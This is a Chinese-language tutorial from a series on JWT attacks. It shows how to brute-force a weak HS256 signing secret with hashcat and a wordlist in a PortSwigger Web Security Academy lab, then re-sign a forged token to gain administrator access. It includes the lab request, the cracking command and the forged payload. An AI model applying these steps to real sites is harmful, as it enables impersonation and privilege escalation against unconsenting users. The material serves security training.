6种常见的JWT Attack,绕过网站身份验证 - 3.爆力破解对称式加密签名

简介

JWT攻击是使用者向网站发送修改后的JWT，目标是冒充另一个身份的使用者，并绕过身份验证和存取控制。 如果攻击者能够使用任意值创建自己的JWT有效令牌，他们能够升级自己的权限或冒充其他用户，完全控制他们的帐户。

JWT常见攻击手法有以下几种：

1. 签名未验证
2. JWT无签名
3. 爆力破解对称式加密签名
4. 用kid绕过对称式加密签名
5. 用JWK绕过非对称式加密签名
6. 用JKU绕过非对称式加密签名

关于JWT的介绍可参考json web token介绍

---

3.爆力破解对称式加密签名

某些签名算法，像是HS256（HMAC+SHA-256），可以使用任意字符串做为密钥，因此可以透过爆力密码破解得到密钥，并使用密钥重签名

举例如下，以下是访问网站的JWT token，需要administrator身份才能访问，而且使用HS256签名

################ request ################
GET /admin HTTP/1.1
Host: 0aff00980379e949c0ec224a00f90071.web-security-academy.net
Cookie: session=eyJraWQiOiJkYjFiZWEzOS05MjQwLTRjYjItODQ0MS04NjZjMjIxZDFmODUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY1NzYwNjgwNH0.faMYDNGlalEN2C5YD2NGaRejmOAIXj1GQ2priBVj3yE
...omit...

################ response ################ 
...omit...Admin interface only available if logged in as an administrator...omit...

所以直接改成adminstrator没有用，还必须要得到签名用的secret key，在重新根据修改内容重新签名才行，步骤如下

step1，找出secret key

先准备一组密码档jwt.secrets.list，内容可以参考https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list

然后透过hastcat尝试爆力破解目前token

hashcat -a 0 -m 16500 eyJraWQiOiJkYjFiZWEzOS05MjQwLTRjYjItODQ0MS04NjZjMjIxZDFmODUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY1NzYwNjgwNH0.faMYDNGlalEN2C5YD2NGaRejmOAIXj1GQ2priBVj3yE jwt.secrets.list

破解后会发现secret key为secret1

step2，产生JWT key

在JWT editor keys中选择new symmetric key, 按下generate会产生以下内容

<span style="color:#292b2c"><span style="background-color:#e9e9e9"><code>{
    "kty": "oct",
    "kid": "6e45657d-202e-4e74-a50d-0c8f785dc1cf",
    "k": "qzlgHvHrjWoqNS_9Jd_1EQ"
}</code></span></span>

将刚刚的secret key使用base64编码得到c2VjcmV0MQ==，然后贴上如下

<span style="color:#292b2c"><span style="background-color:#e9e9e9"><code>{
    "kty": "oct",
    "kid": "6e45657d-202e-4e74-a50d-0c8f785dc1cf",
    "k": "c2VjcmV0MQ=="
}</code></span></span>

step3. 对修改的内容重签名

在JWT editor将原本的token内容改为administrator如下

<span style="color:#292b2c"><span style="background-color:#e9e9e9"><code>{
    "iss": "portswigger",
    "sub": "administrator", 
    "exp": 1657606804
}</code></span></span>

接着在JWT editor中点选sign，然后选择以下配置

• signing key: you generated in the JWT editor keys
• signing algorithm: HS256
• header options: don't modify header

就会根据token修改的内容，产生相对应的签名，使用这全新token就可以用administrator身份访问admin功能

 其他方法可参考

6种常见的JWT attack方法

Web Security Academy